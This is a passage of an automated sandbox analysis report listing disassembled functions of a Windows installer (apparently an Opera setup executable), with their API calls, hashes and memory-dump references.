Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 8ae365655b7597d869b3b2f56841766425f6863b3c44559cbc89e4a26d302e34
Instruction ID: 1ca1e87bffa477aecce4b8809d13608721b46e5c52e0656af2305a29f618206d
Opcode Fuzzy Hash: 8ae365655b7597d869b3b2f56841766425f6863b3c44559cbc89e4a26d302e34
Instruction Fuzzy Hash: E9317F30504219BBDB12DF55EE85A9E3FA8EB00359F10443BF905FA190D2788A509BA9

Function 004015E6 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 0040601C: CharNextW.USER32(?,?,00456750,?,00406090,00456750,00456750,74DF3420,?,74DF2EE0,00405DCE,?,74DF3420,74DF2EE0,004BD000), ref: 0040602A
Part of subcall function 0040601C: CharNextW.USER32(00000000), ref: 0040602F
Part of subcall function 0040601C: CharNextW.USER32(00000000), ref: 00406047

GetFileAttributesW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 0040163F

Part of subcall function 00405BF6: CreateDirectoryW.KERNEL32(00481000,?), ref: 00405C38

SetCurrentDirectoryW.KERNEL32(?,004C5000,?,00000000,000000F0), ref: 00401672

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: 95a4860431ad72eda60d3769fb9d39a986bc9f4f4600bed416f8c382693ae343
Instruction ID: 984bc8847ab7730807188d0ae4260eaffd58af59862b83f9ec54611d8a9cde38
Opcode Fuzzy Hash: 95a4860431ad72eda60d3769fb9d39a986bc9f4f4600bed416f8c382693ae343
Instruction Fuzzy Hash: 0B11C431504514EBDF20AFA5CD4169F36A0EF14368B29493FF942B22F1D63E8981DA5E

Function 0040254F Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 00402580
RegCloseKey.ADVAPI32(?,?,?,004125F8,00000000,00000011,00000002), ref: 00402622

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 1afaa0eb68ef52f167e8a4d151f2c3bf02fb3977f39619ee02b743959e6b5f4c
Instruction ID: 1ca5a891072309ee4d57d6c386aa99eedf8583e79045272cabd10b8210a2a1fd
Opcode Fuzzy Hash: 1afaa0eb68ef52f167e8a4d151f2c3bf02fb3977f39619ee02b743959e6b5f4c
Instruction Fuzzy Hash: 3311C171904206EADF15DFA0DA585AE7774FF04348F20443FE802B62D0D3B84A41DB5D

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(0040A230,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1d8cdfb8dfb056e96828346964ac3a90e07f6a4c165948e412157bc5f6f5cc6c
Instruction ID: 79785e1055596f35c81cc11ac1c08ebc052ec65b95c8641ce566291046e0593e
Opcode Fuzzy Hash: 1d8cdfb8dfb056e96828346964ac3a90e07f6a4c165948e412157bc5f6f5cc6c
Instruction Fuzzy Hash: C10144316202109BEB091B799D04B2B3398E750754F20427FF841F32F0E6B8CC028B4E

Function 00405BF6 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00481000,?), ref: 00405C38
GetLastError.KERNEL32 ref: 00405C46

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: cc352e270a5c7d66bac2c8a7d463e84c1d5eb2dce2c10117675193e318c6cc25
Instruction ID: 25e10c4fac4d698a59efea960107f93253b8ac9e3b964bd1d6400c706bcc644c
Opcode Fuzzy Hash: cc352e270a5c7d66bac2c8a7d463e84c1d5eb2dce2c10117675193e318c6cc25
Instruction Fuzzy Hash: E6F0F4B0C04209DAEB00CFA4D9497EFBBB4BB04319F00802AD541B6281D7B882488FA9

Function 00405C85 Relevance: 3.0, APIs: 2, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,00481000,00000000,00000000,00000000,04000000,00000000,00000000,0045A750,?,?,?,00481000,?), ref: 00405CAE
CloseHandle.KERNEL32(?,?,?,00481000,?), ref: 00405CBB

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: c45f180bea824e86b9f60da59515b64d79646989f9db2e08603b41b576f742c4
Instruction ID: 678fb2cce29b027916b6e9c77d741f72fc3b9667aac1924bad6fa13dfa27649e
Opcode Fuzzy Hash: c45f180bea824e86b9f60da59515b64d79646989f9db2e08603b41b576f742c4
Instruction Fuzzy Hash: E6E0BFB4500209BFFB009B64ED49F7B7B7CE704605F008525BD10F2191D774D8159A7D

Function 00406A96 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403775,0000000C,?,?,?,?,?,?,?,?), ref: 00406AA8
GetProcAddress.KERNEL32(00000000,?), ref: 00406AC3

Part of subcall function 00406A26: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406A3D
Part of subcall function 00406A26: wsprintfW.USER32 ref: 00406A78
Part of subcall function 00406A26: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406A8C

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 09a5520475afffee645b4664441d986c1138b09cf986c3d6b2a713b3520f987f
Instruction ID: 6883b19bcb958afdb132cd43d0a9aeb12fc85c99e1cf53eaa24744f9dd55f8c1
Opcode Fuzzy Hash: 09a5520475afffee645b4664441d986c1138b09cf986c3d6b2a713b3520f987f
Instruction Fuzzy Hash: CDE08636714611ABD210BA745E48C6777A89F86610306C83EF542F2141D734DC33AA79

Function 00403CDF Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,74DF3420,00000000,74DF2EE0,00403CB6,004D1000,00403BB5,?,?,00000008,0000000A,0000000C), ref: 00403CF9
GlobalFree.KERNEL32(00000000), ref: 00403D00

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID:
API String ID: 1100898210-0
Opcode ID: e95d17bfaf349d732f0976dec1ca20856772db7d244860fdb52b783a83313983
Instruction ID: 6cc7235c82e409e594193dc40a4abc0356c386f753d5776fe34d96f63476a0b8
Opcode Fuzzy Hash: e95d17bfaf349d732f0976dec1ca20856772db7d244860fdb52b783a83313983
Instruction Fuzzy Hash: 2DE012334151305BD6225F59FE0575ABB68BF45F22F05C52FE940BB2A18BB85C424FD8

Function 00406192 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000003,00403138,004D9000,80000000,00000003), ref: 00406196
CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 004061B8

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: d28f21770be58fa8ab322e44db2ef64be76ab1399ecbb41bfd548adfe90c5e60
Instruction ID: be52236ca1bfc2e7009fe271a1dfd41440a2a0d1ebc26b2cb4c8630358080456
Opcode Fuzzy Hash: d28f21770be58fa8ab322e44db2ef64be76ab1399ecbb41bfd548adfe90c5e60
Instruction Fuzzy Hash: 30D09E31254301EFFF098F20DE16F2EBAA2EB94B00F11952CB682941E0DA715819DB15

Function 0040616D Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,00405D72,?,?,00000000,00405F48,?,?,?,?), ref: 00406172
SetFileAttributesW.KERNEL32(?,00000000), ref: 00406186

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction ID: 83b49fe15d4d51a1c27b4b8da2ab4689423c6710ab607d501633f61f971848cf
Opcode Fuzzy Hash: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction Fuzzy Hash: 63D0C972504220BFC2102728AE0889BBB55DB552717028A35FCA9A22B0CB314C6A86A4

Function 00405C50 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,00000000,00403658,004D1000,004D1000,004D1000,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 00405C56
GetLastError.KERNEL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405C64

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 713f00ffaa2578e3ba1d99e04a2fab42aad7341dbc9e3b83e2e07bf738d273a4
Instruction ID: 868687b2a80a8d4cb6d5034857ca3092976d2c25b2f3b55ea206b3a8d14aaeda
Opcode Fuzzy Hash: 713f00ffaa2578e3ba1d99e04a2fab42aad7341dbc9e3b83e2e07bf738d273a4
Instruction Fuzzy Hash: C7C04C30608701DAEA105B31DE8CB177A50BB54741F198439A582F41B0DA348555D92D

Function 00403C82 Relevance: 2.5, APIs: 2, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,004D1000,00403BB5,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403C94
CloseHandle.KERNEL32(FFFFFFFF,004D1000,00403BB5,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403CA8

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: d2bdcc80eca201cd5359b13114e9f273fde289d40d32cb5243316b7ba4aee94e
Instruction ID: 93454ec2f84d486dd0eb46c633a3a61ffb1fb8fcaaff07e214acfe86ea83ea04
Opcode Fuzzy Hash: d2bdcc80eca201cd5359b13114e9f273fde289d40d32cb5243316b7ba4aee94e
Instruction Fuzzy Hash: 33E0863150471496D5206F7CAE4D9853B185F41335765C327F038F21F0C738D95A5AAD

Function 00406244 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00008001,00000000,00000000,00000000,00000000,0042158D,0041E6F0,0040359E,0041E6F0,0042158D,004266F0,00004000,?,00000000,004033C8,00000004), ref: 00406258

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction ID: 50ccb5e768420c5b79bdfebb9096a84dabe54a6ff5c0a4120d9a71b85527c923
Opcode Fuzzy Hash: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction Fuzzy Hash: FDE08C3221821AABCF10BE608C00EEB3B6CEB017A0F02447AFD56E3050D231E83097A8

Function 00406215 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00008001,00000000,00000000,00000000,00000000,004266F0,0041E6F0,0040361A,00008001,00008001,0040351E,004266F0,00004000,?,00000000,004033C8), ref: 00406229

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction ID: fbac330590941eb325162a4ee9bfa4b3c7313c609e27a1dd4f64d068a4d06545
Opcode Fuzzy Hash: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction Fuzzy Hash: 8FE08632110129ABCF106E549C00EEB375CEF05350F014876F951E3040D730E83187A5

Function 0040650F Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(00000000,0043A728,00000000,00000000,?,?,00000000,?,0040659D,?,0043A728,?,?,"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0,?,00000000), ref: 00406533

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction ID: f918e5a98cb24a054262289ed7dc727aaea68e18f53d3a7cb50250e03803467c
Opcode Fuzzy Hash: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction Fuzzy Hash: 49D0127200020DBBDF119E90AD01FAB3B1DEB08750F014826FE06A4090D775D530A759

Function 0040361D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,0040331B,?), ref: 0040362B

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D

Function 00401FC9 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00405727: lstrlenW.KERNEL32(0043A728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000,?), ref: 0040575F
Part of subcall function 00405727: lstrlenW.KERNEL32(004030CD,0043A728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000), ref: 0040576F
Part of subcall function 00405727: lstrcatW.KERNEL32(0043A728,004030CD,004030CD,0043A728,00000000,00000000,00000000), ref: 00405782
Part of subcall function 00405727: SetWindowTextW.USER32(0043A728,0043A728), ref: 00405794
Part of subcall function 00405727: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004057BA
Part of subcall function 00405727: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004057D4
Part of subcall function 00405727: SendMessageW.USER32(?,00001013,?,00000000), ref: 004057E2

Part of subcall function 00405C85: CreateProcessW.KERNEL32(00000000,00481000,00000000,00000000,00000000,04000000,00000000,00000000,0045A750,?,?,?,00481000,?), ref: 00405CAE
Part of subcall function 00405C85: CloseHandle.KERNEL32(?,?,?,00481000,?), ref: 00405CBB

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00402010

Part of subcall function 00406B41: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406B52
Part of subcall function 00406B41: GetExitCodeProcess.KERNEL32(?,?), ref: 00406B74

Part of subcall function 004065E9: wsprintfW.USER32 ref: 004065F6

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
